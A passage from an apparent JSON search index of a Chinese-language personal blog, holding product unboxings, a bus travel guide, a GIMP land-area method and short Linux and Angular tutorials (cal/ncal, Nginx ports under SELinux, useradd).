個月。\n打開外盒。\n這個是無線滑鼠。\n這是滑鼠背面的樣子，有一個電源開關，沒用的時候可以將開關關閉，節省電池的消耗。\n電池盒的蓋子打開之後，裡面是裝一顆 3 號的電池，旁邊有一個 USB 無線接收器專用的存放槽，當接收器沒用的時候，就可以放在這個位置，可避免不小心把 USB 無線接收器弄丟。\n盒子上面有簡略的操作說明，不過這種鍵盤與滑鼠應該不用看說明也知道怎麼用。\n這是無線鍵盤，採用防潑濺設計，所以就算有水倒在上面也不會造成鍵盤的損壞。\n鍵盤上面同樣有一個電源開關，沒用的時候就可以將電源關閉，讓電池可以用得更久。\n這是鍵盤上方的功能鍵。\n功能鍵之中有一個小算盤功能，可以快速啟動小算盤，我自己感覺滿實用的。\n這是鍵盤的背面。\n鍵盤所使用的電池是兩顆 4 號電池，兩顆可以用 4 年，這樣幾乎就等於完全不用換電池了，等到電池沒電的時候，也差不多可以換鍵盤了。\n這個是無線鍵盤與滑鼠共用的 USB 無線接收器，從規格上看起來這個並不是 Unifying 的接收器。\n使用無線的鍵盤與滑鼠，桌上馬上少了兩條線，確實感覺乾淨多了。\n","permalink":"https://blog.gtwang.org/unboxing/logitech-mk345-keyboard-mouse-wireless-combo-20181128/","summary":"\u003cp\u003e本篇是羅技 Logitech MK345 無線滑鼠鍵盤組的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e以前無線鍵盤與滑鼠剛出來的時候，我因為懶得換電池，所以都一直不太喜歡用，不過後來的發現有了省電的設計之後，好像也不太需要常換電池，所以就買來用用看，感覺確實比有線的鍵盤與滑鼠更好用。\u003c/p\u003e","title":"[開箱] 羅技 Logitech MK345 無線滑鼠鍵盤組"},{"content":"本篇介紹如何搭乘南投客運的公車，往返高鐵台中站與南投埔里。\n在埔里這邊若要搭乘客運，都是在埔里轉運站這邊搭車，它的位置就在中正路上面，肯德基旁邊。\n這裡可以搭的車很多，主要都是國光客運以及南投客運的車子。\n如果要去高鐵台中站，建議可以搭乘南投客運 6670 這條路線的直達車，從埔里搭過去車程大約是 50 分鐘左右。\n各車次的時刻表可以從南投客運的網站上面查詢，而客運站這邊也有紙本的時刻表可以索取。\n這是南投客運的售票處。\n從埔里搭南投客運到高鐵台中站，全票的票價是 140 元。\n這是車站發售的車票。\n買好票之後，就在這裡等車。由於它是走高速公路的客運，一定要有位子才能上車、不能站著，所以最好早點來排隊，若遇到該班車次人比較多，沒有位子的話，就要再等下一班車了。\n通常從清境農場或是日月潭開過來的車次都會比較多人，若擔心沒有位子的話，可以選擇從埔里發車的車次，會比較保險。（清境農場的車次可以參考南投客運的網站）\n從埔里上車之後，下一站就直接開到高鐵台中站，中間沒有其他站。\n高鐵台中站這邊下車的地方是在 5 號入口處。\n下車後就可以直接搭手扶梯上「車站大廳」買票，非常方便。\n","permalink":"https://blog.gtwang.org/life/ntbus-thsr-taichung-station-puli-bus-2018/","summary":"\u003cp\u003e本篇介紹如何搭乘南投客運的公車，往返高鐵台中站與南投埔里。\u003c/p\u003e\n\u003cp\u003e在埔里這邊若要搭乘客運，都是在埔里轉運站這邊搭車，它的位置就在中正路上面，肯德基旁邊。\u003c/p\u003e","title":"高鐵台中站 ⇔ 埔里，南投客運公車搭乘教學"},{"content":"本篇介紹如何使用 GIMP 繪圖軟體，靠著地籍圖的照片，直接估算鄰近土地的面積。\n在購買土地或房子的時候，都會看一下地籍圖，查詢土地的地號、座落位置以及面積等資訊，而如果這時候我們想要知道周圍每一塊土地的實際面積有多大，進而估算總價的時候，除了使用目測之外，其實有更精準的方法。\n以下我們示範以免費的 GIMP 繪圖軟體，量測地籍圖上每一塊土地面積的步驟。\nStep 1\n首先當然是從 GIMP 的網站上下載 GIMP 的軟體，並且安裝起來。\nStep 2\n使用 GIMP 打開地籍圖的照片檔。\nStep 3\n在「顏色」選單中，點選「臨界值」。\nStep 4\n調整臨界值，想辦法讓地籍圖變得更清晰，消除不必要的雜點，但也要保持線條的完整，不可以讓線條斷掉。\nStep 5\n使用橡皮擦功能，將地籍圖上的文字擦掉，讓計算更準確。\nStep 6\n點選「填色工具」，並點選前景顏色。\nStep 7\n由於我們的照片在經過臨界值的處理過後，所有的顏色都被轉換為黑色（000000）與白色（FFFFFF），所以這裡在選擇標註用的顏色時，只要錯開黑色與白色即可，建議可以選擇 800000、008000、000080 這幾個位於黑色與白色中間的顏色。\nStep 8\n將想要測量的土地用不同的顏色填滿，這裡我們使用 800000、008000 這兩種顏色作為示範。\nStep 8\n在「視窗」選單中，點選「顏色統計圖」。\nStep 9\n「色彩統計圖」視窗在開啟之後，通常會位於右上角，上面會顯示像素數值的分佈狀況。\nStep 10\n由於我們是使用 800000、008000 這兩種顏色作為標註的顏色，所以分別要查看紅色與綠色的像素數值分布。首先從「色版」中選擇「紅」。\nStep 11\n接著使用滑鼠拖曳的方式，選擇像素數值的範圍，只要包含 128（0x80）即可，然後記下「數目」欄位顯示的數值，以這個例子來說就是 111868。\nStep 12\n在綠色色版中也是一樣，選擇像素數值包含 128，記下「數目」欄位顯示的數值，也就是 139085。\n每塊地的像素數目就等於實際面積的比例，也就是說這兩塊土地面積的比例就是：\n紅色土地面積：綠色土地面積 = 111868：139085 而通常在地籍圖上，我們會知道某一塊地的精確面積，這樣就可計算出每一塊地的實際面積了。假設我們已經知道深紅色的土地面積是 20 坪的話，若要估算綠色土地的面積的話，就可以這樣算：\n20 / 111868 * 139085 = 24.86591 坪 填色問題 如果在填色的時候，顏色一下子填入太多格，這個問題通常是因為臨界值設定太低，讓圖上的線條斷掉了。\n土地的界線只要有破洞，不管破洞有多大，在填色的時候都會出問題。\n解決的方法就是回到上一步驟，把臨界值調高一點，或是直接用鉛筆功能，手動把斷掉線條補起來。\n","permalink":"https://blog.gtwang.org/life/gimp-calculate-area-of-land-from-cadastral-map/","summary":"\u003cp\u003e本篇介紹如何使用 GIMP 繪圖軟體，靠著地籍圖的照片，直接估算鄰近土地的面積。\u003c/p\u003e\n\u003cp\u003e在購買土地或房子的時候，都會看一下地籍圖，查詢土地的地號、座落位置以及面積等資訊，而如果這時候我們想要知道周圍每一塊土地的實際面積有多大，進而估算總價的時候，除了使用目測之外，其實有更精準的方法。\u003c/p\u003e","title":"GIMP 計算地籍圖每一塊土地面積坪數教學"},{"content":"本篇是 Mcdodo 麥多多車用冷氣出風口磁吸手機架的簡單開箱文。\n如果要使用手機 App 來導航的話，都會搭配車用手機架，方便固定手機，以前我買一個吸盤式的手機架，結果吸在擋風玻璃上，大太陽曬久了之後，吸盤有一點變質，造成玻璃上都有一圈吸盤的痕跡，所以後來就不用吸盤式的手機架了。\n而最近時常要南北跑來跑去，需要用手機導航，所以上網看了一下夾在冷氣出風口的手機架，發現 Mcdodo 的磁吸手機架品質好像不錯，在蝦皮拍賣上的價格只要 239 元，加上 55 元運費，看起來不錯，就買來用用看。\n後來發現這個手機架的出貨地點是在大陸，所以從大陸運過來大約等了一週左右。\n打開外盒，物品的狀態還不錯。\nMcdodo 手機架的外盒看起來很高級的樣子。\n盒子上面還有防偽雷射貼紙。\n內容物包含一個手機架，兩張手機保護膜，兩張金屬貼片。\n金屬片是使用 3M 的背膠。\n手機架的正面有很強的磁力，可以吸附手機。\n在手機架的中間部分，可以任意旋轉，自由調整它的角度，後端黑色橡皮的部分可直接夾在車子冷氣的出風口葉片上。\n如果是沒有裝保護套的手機，就要先把手機背面準備黏貼金屬貼片的位置擦乾淨。\n在黏貼金屬貼片之前，先貼上一張圓形的保護貼。\n接著再貼上金屬貼片，這樣就可以確保手機不會被刮傷。\n貼好金屬貼片之後，就可以將手機吸在手機架上了。\n如果手機有保護殼的話，就直接把金屬貼片放進保護殼與手機之間即可，不用貼上去。\n由於它的吸力很強，所以隔著一層保護殼也可以吸得住。\n將手機與金屬貼片都準備好之後，就可以安裝在車子上了。首先把手機架夾在冷氣的出風口葉片上。\n它可以自由調整角度，通常可以稍微轉向駕駛者的方向，會比較方便操作。\n對準金屬貼片的位置，把手機吸上去，這樣就完成了。\n這樣開車用導航就很方便了。\n因為這個手機架可以自由調整角度，所以也可以轉成橫的。\n這款 Mcdodo 麥多多車用冷氣出風口磁吸手機架的品質真的非常好，出乎我的意料，以後如果要買相關的產品，我想我會優先考慮 Mcdodo 這個牌子。\n","permalink":"https://blog.gtwang.org/unboxing/car-air-outlet-vent-mount-mobile-phone-holder-20181119/","summary":"\u003cp\u003e本篇是 Mcdodo 麥多多車用冷氣出風口磁吸手機架的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e如果要使用手機 App 來導航的話，都會搭配車用手機架，方便固定手機，以前我買一個吸盤式的手機架，結果吸在擋風玻璃上，大太陽曬久了之後，吸盤有一點變質，造成玻璃上都有一圈吸盤的痕跡，所以後來就不用吸盤式的手機架了。\u003c/p\u003e","title":"[開箱] Mcdodo 麥多多車用冷氣出風口磁吸手機架"},{"content":"本篇是璞藝雅舍特級國王紫檀開運印鑑套章的簡單開箱文。\n最近上因為需要去銀行開戶，但是手上都沒有比較像樣的印章，以前小時候都是隨便拿個便章就去開戶了，甚至還拿過 50 元的木頭印章去開重要的銀行戶頭，這一次想說來刻一個比較好一點的印章，不要那麼隨便。\n十一月遇到雙十一購物節，所以上網買東西到處都有特價，我在 momo 購物網上面稍微找了下，看到璞藝雅舍的特級國王紫檀開運印鑑套章有特價，一個方形印章加上一個圓形印章，原價 1,789 元，雙十一購物節特價 1,485 元，還有附贈盒子，看起來不會很貴，就直接下訂了。\n可能由於雙十一購物節的關係，老闆打電話跟我確認印章姓名之後，說要隔週才能出貨。到了約定的時間，確實非常準時出貨，這是收到的包裹。\n打開外面的牛皮紙袋後，裡面還有一層泡棉保護。\n這就是剛收到的印鑑套章。\n除了兩張印鑑卡之外，還有附贈一個皮製的印章收納盒。\n打開印章收納盒，裡面就是兩個紫檀開運印章。\n圓形的印章代表錢財不斷流動，財源滾滾、生生不息的意思，適合用在活期存款、薪資戶頭、股票、支票、商業合約訂單等滾動的流動財。\n而方形的印章則代表不動如山，堅定穩固，有守財、鎮財的含意，適合用在不動產、長期投資股票、基金、定期存款等。\n我這次刻的印章選的是印相體（也稱為開運吉祥字體），大部分的開運印章應該都是使用這種字體。\n印章收納盒中還有一個小的印泥。\n有個這一組印章之後，可以去銀行開戶了。\n去銀行開戶若要看農民曆選日子的話，大概就是選適宜「立券」、「納財」的日子，然後第一筆存款就選個 888、1680、5858、6666、8888 等吉祥的數字。\n","permalink":"https://blog.gtwang.org/unboxing/rosewood-engraved-seal-20181115/","summary":"\u003cp\u003e本篇是璞藝雅舍特級國王紫檀開運印鑑套章的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近上因為需要去銀行開戶，但是手上都沒有比較像樣的印章，以前小時候都是隨便拿個便章就去開戶了，甚至還拿過 50 元的木頭印章去開重要的銀行戶頭，這一次想說來刻一個比較好一點的印章，不要那麼隨便。\u003c/p\u003e","title":"[開箱] 璞藝雅舍特級國王紫檀開運印鑑套章"},{"content":"最近買了幾個腳踏車用的 LED 警示燈與尾燈，寫個簡單的開箱文記錄一下。\n最近阿玄喜歡在假日的晚上跟著鄰居一起去騎腳踏車，而鄰居送了阿玄兩個裝在腳踏車上面的 LED 警示燈，我看了感覺很好用，所以也上網買了幾個，把自己家中每一台腳踏車都裝兩個，這樣晚上騎車會比較安全。\n網路上這類的 LED 警示燈有很多，由於我主要是要給小朋友用的，所以直接看價格，選最便宜的款式。\n這一個 LED 尾燈價格是 29 元，外殼是鋁合金的。\n裡面使用兩顆 CR2032 電池。\n這一組自行車 LED 警示燈，一個是紅光，另一個是白光，這兩個 LED 燈價格是 33 元，是目前我看過最划算的組合，適合給小朋友裝在車上，既安全又不用擔心被玩壞或是被偷。\n裡面各有兩個 LED 燈。\n這種 LED 燈也是使用兩個 CR2032 電池。\n白光的 LED 警示燈適合裝在腳踏車的前方龍頭上。\n這種警示燈有長亮、快閃、慢閃三種模式可以切換。\n紅色的 LED 警示燈適合裝在車子的後方。\n這一種 LED 尾燈是專門裝在座椅下方的，光源比較集中。\n這是晚上看起來的樣子。\n在電量足夠的情況下，亮度是很夠的。\n這是前方的白光 LED 警示燈。\n這是晚上裝上 LED 警示燈的腳踏車影片。\n由於這種超低價位的 LED 燈都是大陸製的，品質當然也沒辦法要求太好，有時候開關容易接觸不良，按了沒反應之類的，不過真的是很實用，裝在車上也不必擔心被偷，非常方便。\n","permalink":"https://blog.gtwang.org/unboxing/bicycle-led-warning-light-taillight/","summary":"\u003cp\u003e最近買了幾個腳踏車用的 LED 警示燈與尾燈，寫個簡單的開箱文記錄一下。\u003c/p\u003e\n\u003cp\u003e最近阿玄喜歡在假日的晚上跟著鄰居一起去騎腳踏車，而鄰居送了阿玄兩個裝在腳踏車上面的 LED 警示燈，我看了感覺很好用，所以也上網買了幾個，把自己家中每一台腳踏車都裝兩個，這樣晚上騎車會比較安全。\u003c/p\u003e","title":"[開箱] 自行車腳踏車 LED 警示燈、尾燈"},{"content":"本篇是我最近在雙 11 購物節期間購買奧莉薇閣 PC 硬殼 24 吋行李箱的簡單開箱文。\n我們家阿玄在今年轉到佛光山的均頭國小就讀之後，每個禮拜五都會做交通車回家，然後週日下午在坐交通車回學校，之前剛入學的時候臨時找了一個舊的行李箱給他裝行李，那個舊的行李箱是布做的，材質很不錯，也很好用，不過拉鍊有點壞掉，所以最近趁著雙 11 購物節，上網買一個新的行李箱給阿玄用。\n上網稍微看了一下，奧莉薇閣的行李箱最近的折扣很大，這一款 PC 硬殼 24 吋的行李箱，原價是 6880 元（感覺原價定的好高），特價 1699 元，採用無毒提把，國際SGS認證核可，看起來還可以，就直接買了。\n下訂之後，隔天就收到貨了。\n打開外箱。\n外層塑膠袋感覺有被雨水噴過，不過我是不在意這個。\n塑膠袋拆掉之後，裡面的行李箱狀況很不錯。最外層套了一只黑色的不織布防塵套。\n這是行李箱的說明吊牌，材質是 ABS + PC，重量是 4KG 左右。\n這是拆掉防塵套之後的樣子。\n側面有海關密碼鎖。\n這是行李箱的另外一側。\n這一側有四個防磨角釘，側放時可避免行李箱磨到地板。\n這是行李箱的拉桿。\n這是底部的樣子，除了四個雙排飛機輪之外，還有一個小的輔助輪，讓上坡時也可以輕鬆拉著走。\n直徑六公分的雙排飛機輪。\n行李箱的上方有一個隱藏式的伸縮掛鉤。\n將掛鉤拉開之後，就可以把手提包掛在這裡。\n行李箱上方的四個角都有鋁合金的保護片，可防止行李箱撞到而破損。\n這是 TSA 海關密碼鎖，平常可用密碼鎖起來，過海關時若要檢查，海關人員可用他們的鑰匙打開，不用破壞鎖頭。\n調整好密碼之後，往上一推就可以開鎖。\n打開鎖頭之後，就可以拉開拉鍊了。\n行李箱的內部就是普通的夾層，加上幾個內袋。\n其中一側的拉鍊拉開，裡面還有一個大空間。\n後來讓阿玄用了一下，我感覺 24 吋的行李箱有點太大了，他的行李也沒有那麼多，原本想退掉換一個 20 吋的給阿玄，不過他說想要這個大的，不要換小的，所以就這樣直接給他用了。\n結果這禮拜去學校的行李裝進去之後，大概也只用了三分之一的空間，不過冬天有厚外套加上一些零食，可能就會裝得比較滿了。\n參考資料 噹噹漫遊 ","permalink":"https://blog.gtwang.org/unboxing/allez-voyager-pc-24-inch-trunk-20181109/","summary":"\u003cp\u003e本篇是我最近在雙 11 購物節期間購買奧莉薇閣 PC 硬殼 24 吋行李箱的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e我們家阿玄在今年\u003ca href=\"/children/jtjhs-puli-nantou-20180830/\"\u003e轉到佛光山的均頭國小就讀\u003c/a\u003e之後，每個禮拜五都會做交通車回家，然後週日下午在坐交通車回學校，之前剛入學的時候臨時找了一個舊的行李箱給他裝行李，那個舊的行李箱是布做的，材質很不錯，也很好用，不過拉鍊有點壞掉，所以最近趁著雙 11 購物節，上網買一個新的行李箱給阿玄用。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"[開箱] 法國奧莉薇閣箱見恨晚 PC 硬殼 24 吋行李箱"},{"content":"本篇介紹如何在 Linux 中使用 cal 與 ncal 指令顯示月曆與年曆。\n在 Linux 中若要查看月曆或年曆，可以使用 cal 或 ncal 這兩個指令，cal 是 UNIX 中標準的指令，大部分的 Linux 系統上都有這個指令可以使用，而 ncal 則是新版的日曆指令，不見得每一種 Linux 發行版都會安裝。\n顯示月曆 直接執行 cal 會顯示這個月的月曆，並且標示出今天的日期：\n# 顯示月曆 cal ncal 指令的用法跟 cal 大同小異，最大的差異就是 ncal 的預設輸出排版方向跟 cal 不同：\n# 顯示月曆 ncal 前後一個月 如果想要查看本月加上前後各一個月的月曆，可以加上 -3 參數：\n# 顯示前後一個月 cal -3 ncal -3 指定區間 若想要顯示任意前後區間的月曆，可以使用 -B 指定往前的月份數，以 -A 指定往後的月份數，例如顯示本月再加上前兩個月與後三個月的月曆，則可執行：\n# 指定區間 cal -B2 -A3 ncal 的用法亦同：\n# 指定區間 ncal -B2 -A3 顯示一年中第幾天 若想要查看現在是一年當中的第幾天（從當年一月一日起算），可以加上 -j 參數：\n# 顯示一年中第幾天 cal -j ncal -j 指定月份 若想要查看特定月份的月曆，可以使用 -m 參數指定月份：\n# 指定月份 cal -m 5 ncal -m 5 顯示年曆 若要查看某一年的年曆，就直接在參數中加上西元年份即可：\n# 指定年份 cal 2019 ncal 的用法亦同：\n# 指定年份 ncal 2019 指定年份與月份 也可以同時指定年份與月份，輸出指定日期的月曆：　# 指定年份與月份 cal 6 2020 ncal 6 2020 ncal 特殊用法 由於 ncal 是新的指令，所以它有一些特殊用法是 cal 所沒有的，以下是比較常用的特殊參數。\n若要讓 ncal 以橫向的排版來顯示（跟 cal 相同），可以加上 -C 參數：\n# 橫向顯示 ncal -C 預設的月曆都是以星期天當作一週的第一天，若要以星期一當作第一天，可以加上 -M 參數：\n# 以星期一為首 ncal -M 在預設的狀況下 ncal 會以反白自動標示今天的日期，如果不想要這種標示，可以加上 -h 參數：\n# 不標示今天日期 ncal -h ncal 預設會以反白標示今天的日期，而我們也可以使用 -H 參數自行指定這個標示的日期：\n# 自行指定月份與標示日期 ncal -H 2020-12-25 12 2020 參考資料 HowtoForge ","permalink":"https://blog.gtwang.org/linux/linux-cal-ncal-calendar-command-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Linux 中使用 \u003ccode\u003ecal\u003c/code\u003e 與 \u003ccode\u003encal\u003c/code\u003e 指令顯示月曆與年曆。\u003c/p\u003e\n\u003cp\u003e在 Linux 中若要查看月曆或年曆，可以使用 \u003ccode\u003ecal\u003c/code\u003e 或 \u003ccode\u003encal\u003c/code\u003e 這兩個指令，\u003ccode\u003ecal\u003c/code\u003e 是 UNIX 中標準的指令，大部分的 Linux 系統上都有這個指令可以使用，而 \u003ccode\u003encal\u003c/code\u003e 則是新版的日曆指令，不見得每一種 Linux 發行版都會安裝。\u003c/p\u003e","title":"Linux 日曆 cal 與 ncal 指令教學，產生月曆、年曆的工具"},{"content":"這裡介紹如何在 CentOS Linux 中變更 Nginx 網頁伺服器的傾聽連接埠，使用非標準的連接埠進行網頁開發與測試。\n標準的網頁伺服器會使用 80 或是 8080 作為傾聽連接埠，而在開發與測試系統或網站時，有時候會將測試用的網頁伺服器安裝在非標準的連接埠上，跟正式的網頁伺服器有所區隔。\n以 Nginx 網頁伺服器的設定檔來說，可以從 server 中的 listen 參數來調整傾聽的連接埠。\nserver { # 自訂網頁伺服器連接埠 listen 8090 default_server; listen [::]:8090 default_server; # [略] } 而在 CentOS Linux 中，若直接將 Nginx 的傾聽連接埠改為非標準的連接埠的話，可能會出現 Permission denied 的錯誤訊息。\n2018/10/29 10:40:26 [emerg] 20879#0: bind() to 0.0.0.0:8090 failed (13: Permission denied) 這個錯誤是來自於 SELinux 限制 HTTP 服務只能使用幾個標準的連接埠，避免惡意程式亂開服務，產生系統漏洞。\n如果想要解決這個問題，可以使用 semanage 這個小工具，調整一下 SELinux 的設定。而使用前要先用 yum 安裝：\n# 安裝 semanage（SELinux policy 管理工具） sudo yum install policycoreutils-python 安裝好了 semanage 之後，可以先查看一下系統上目前允許 HTTP 服務使用的連接埠有哪些：\n# 列出允許 HTTP 服務使用的連接埠 sudo semanage port -l | grep http_port_t http_port_t tcp 80, 81, 443, 488, 8008, 8009, 8443, 9000 在預設的情況下，SELinux 只允許 HTTP 服務使用一些常見的連接埠，不果我們指定連接埠不在這個允許列表中，就會出現 Permission denied 的錯誤。\n若要讓 HTTP 服務使用 8090 這個自訂的連接埠號，可以將這個連接埠號加入 http_port_t 列表中：\n# 允許 HTTP 服務使用 8090 連接埠 sudo semanage port -a -t http_port_t -p tcp 8090 再檢查一次，確認 8090 有在允許使用的連接埠之內：\n# 列出允許 HTTP 服務使用的連接埠 sudo semanage port -l | grep http_port_t http_port_t tcp 8090, 80, 81, 443, 488, 8008, 8009, 8443, 9000 這樣就可以讓 Nginx 網頁伺服器正常使用 8090 這個連接埠了。\n參考資料 serverfault ","permalink":"https://blog.gtwang.org/linux/centos-linux-nginx-change-listen-port-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 CentOS Linux 中變更 Nginx 網頁伺服器的傾聽連接埠，使用非標準的連接埠進行網頁開發與測試。\u003c/p\u003e\n\u003cp\u003e標準的網頁伺服器會使用 \u003ccode\u003e80\u003c/code\u003e 或是 \u003ccode\u003e8080\u003c/code\u003e 作為傾聽連接埠，而在開發與測試系統或網站時，有時候會將測試用的網頁伺服器安裝在非標準的連接埠上，跟正式的網頁伺服器有所區隔。\u003c/p\u003e","title":"CentOS Linux 的 Nginx 更改伺服器連接埠教學"},{"content":"本篇介紹 Angular 網頁應用程式的 Hello World 程式。\n安裝 Node.js、NPM 與 Angular CLI 開發 Angular 應用程式需要 Node.js 8.x 與 NPM 5.x 以上的環境，先安裝最新的 Node.js：\n# 安裝 Node.js sudo apt-get install nodejs 再安裝最新的 NPM：\n# 安裝最新版的 NPM sudo npm install -g npm@latest Angular CLI 是一個指令介面的 Angular 專案開發工具，可以用來建立專案、增加檔案、測試與佈署專案等。\nAngular CLI 可使用 npm 來安裝：\n# 安裝 Angular CLI sudo npm install -g @angular/cli 建立 Angular 專案 使用 Angular CLI 產生一個新的應用程式框架：\n# 建立應用程式框架 ng new my-app Angular CLI 會自動安裝必要的 NPM 套件、並建立一個基本的專案。\n接著啟動開發用的伺服器：\n# 啟動開發用伺服器 cd my-app ng serve --open 開發用的伺服器會自動檢查專案內的檔案，當有檔案變動時，就會自動重新載入。\n開啟 http://localhost:4200/ 這個開發用的網址，即可看到基本的 Angular 應用程式畫面（在執行伺服器時，若加上 --open 參數，就會自動呼叫瀏覽器開啟這個網址 ）。\n編輯應用程式 在這個應用程式中，Angular CLI 自動建立了一個 Angular 的組件（component）作為根組件（root component），其名稱為 app-root，我們可以編輯 src/app/app.component.ts 這個 TypeScript 原始檔，查看這個組件。\n在這個 TypeScript 原始檔中，我們可以修改組件的屬性，例如更改 title 屬性：\nexport class AppComponent { title = \u0026#39;My First Angular App!\u0026#39;; } 這樣就可以改變上方的標語文字內容，修改完並儲存案之後，伺服器會自動偵測有變動的檔案，即時更新網頁上的呈現結果。\n若要更改標語的文字大小顏色等屬性，可以編輯 src/app/app.component.css，加入一些 CSS 設定：\nh1 { color: #369; font-family: Arial, Helvetica, sans-serif; font-size: 250%; } 以上就是 Angular 基本的 Hello World 程式，若要進一步繼續學習 Angular 完整的應用程式開發，可以參考 Angular 官方的文件。\n專案檔案結構 在整個 Angular 專案中有非常多的目錄與檔案，以下是一些 src 目錄下的檔案及其說明。\n檔案 說明 app/app.component.{ts,html,css,spec.ts} 定義 AppComponent 用的設定檔、HTML 樣板、CSS 檔與 unit test 設定檔。整個應用程式會以這個根組件為基礎，以樹狀的方式組成。 app/app.module.ts 定義 AppModule，告訴 Angular 如何組織整個應用程式。目前它只包含一個 AppComponent，後來會再增加其他的組件。 assets/* 放置圖片或其他檔案的地方，在佈署應用程式時，這些檔案會直接被複製過去。 environments/* 這個目錄中每個檔案代表一個建構環境，當建立應用程式時，對應設定檔中所設定的變數會被放入應用程式中使用。 browserslist 用來指定要支援的瀏覽器與版本。 favicon.ico 網站的圖示。 index.html 主要網頁檔，Angular CLI 會自動更新這個檔案，開發者不需要更動它。。 karma.conf.js Unit 測試的設定檔，用於 ng test。 main.ts 應用程式主要的進入點，編譯（JIT 編譯器，亦可換成 AOT 編譯器）並組織整個應用程式，放進瀏覽器執行。 polyfills.ts 不同的瀏覽器有不同的網頁標準支援度，Polyfills 可以減低這些差異。 styles.css 全域的 CSS 設定檔。 test.ts Unit 測試的進入點。 `tsconfig.{app spec}.json` tslint.json 執行 ng lint 時所用的設定檔（TSLint 與 Codelyzer 用的設定檔）。 以下是一些根目錄下的檔案及其說明。\ne2e/ 放置 End-to-End Tests 的目錄。 node_modules/ Node.js 放置套件的目錄。 .editorconfig 程式碼編輯器設定檔（只是為了讓每位觀看程式碼的開發者，都可以使用相同的編輯器設定而已）。 .gitignore Git 設定檔。 angular.json Angular CLI 的設定檔。 package.json npm 設定檔。 protractor.conf.js End-to-End Tests 的設定檔。 README.md 專案的基本說明檔。 tsconfig.json TypeScript 編譯器設定檔。 tslint.json 執行 ng lint 時所用的設定檔（TSLint 與 Codelyzer 用的設定檔）。 ","permalink":"https://blog.gtwang.org/web-development/angular-framework-hello-world/","summary":"\u003cp\u003e本篇介紹 Angular 網頁應用程式的 Hello World 程式。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"安裝-nodejsnpm-與-angular-cli\"\u003e安裝 Node.js、NPM 與 Angular CLI\u003c/h2\u003e\n\u003cp\u003e開發 Angular 應用程式需要 Node.js 8.x 與 NPM 5.x 以上的環境，先安裝最新的 Node.js：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 安裝 Node.js\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo apt-get install nodejs\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e再安裝最新的 NPM：\u003c/p\u003e","title":"Angular 網頁應用程式 Hello World 教學"},{"content":"本篇介紹如在 Linux 中使用 useradd 指令新增使用者帳號。\n在 Linux 系統之下若要新增使用者帳號，做基本的方式就是使用 useradd 指令來新增帳號，以下是這個指令個用法教學以及常用的範例。\n有些 Linux 發行版（例如 Ubuntu）則還會有一個 adduser 指令，這個指令是一個 Perl 指令稿，將新增使用者帳號的動作包裝起來，可讓管理者更容易使用，但其實它內部一樣是呼叫 useradd 指令來新增使用者。\n由於 adduser 指令並不是每一種 Linux 發行版都有，像 CentOS 中的 adduser 指令只是一個指向 useradd 指令的連結而已，所以這裡我們還是以 useradd 的用法與範例為主。\n在 Linux 系統上新增使用者的時候，通常要處理三件事情：\n編輯 /etc/passwd、/etc/shadow、/etc/group 與 /etc/gshadow，新增使用者帳號的資訊。 建立新使用者的家目錄。 設定家目錄的權限。 這些動作通常都會直接使用 useradd 指令來統一處理（當然若要手動處理亦可）。\n新增使用者 若要在系統上新增一個使用者帳號，只要執行 useradd 並指定使用者帳號的名稱即可：\n# 新增使用者 sudo useradd gtwang 帳號在新增之後，會處於停用的狀態，必須使用 passwd 設定密碼之後，才能開始使用這個帳號：\n# 設定密碼 sudo passwd gtwang 指定家目錄 在預設的狀況下，useradd 在新增使用者帳號時，會依照帳號名稱在 /home 之下建立使用者的家目錄，例如 gtwang 的預設家目錄就是 /home/gtwang。\n若要改變預設的家目錄，可以加上 -d 參數並指定家目錄的路徑：\n# 指定家目錄 sudo useradd -d /data/gtwang gtwang 若要讓 useradd 在新增使用者時不要自動建立家目錄（通常用於某些有安全性考量的系統特殊帳號），可以加上 -M 參數：\n# 不建立家目錄 sudo useradd -M gtwang 指定使用者 ID 每一位 Linux 系統上的使用者都有一個專屬的使用者 ID（UID），在新增使用者時，useradd 預設會自動以遞增的方式指定一個尚未被使用的 ID 給新的使用者，如果我們想要自行指定使用者的 ID，可以使用 -u 參數：\n# 指定使用者 ID sudo useradd -u 1500 gtwang 這樣就可以將 gtwang 這個新使用者的 ID 設定為 1500。\n指定群組 每一位 Linux 使用者都會有一個主要的群組，預設的狀況下 useradd 會自動新增一個跟帳號相同名稱的群組，並設定為該帳號主要的群組。\n如果要將新的使用者加入既有的群組中，可以加上 -g 參數，並指定群組的名稱或群組 ID：\n# 指定主要群組 sudo useradd -g team gtwang 這樣就會將 gtwang 這個新使用者的主要群組設定為 team（team 這個群組必須事先建立好）。\n除了主要的群組之外，每一位使用者也可以同時隸屬於其他多個不同的群組，如果要在新增使用者時，一起加入其群組內，可以加上 -G 參數，並以逗號分隔的方式指定每一個要加入的群組：\n# 加入其他群組 sudo useradd -g team -G admin,developer,leader gtwang 這樣新增的 gtwang 帳號的主要群組是 team，同時也是 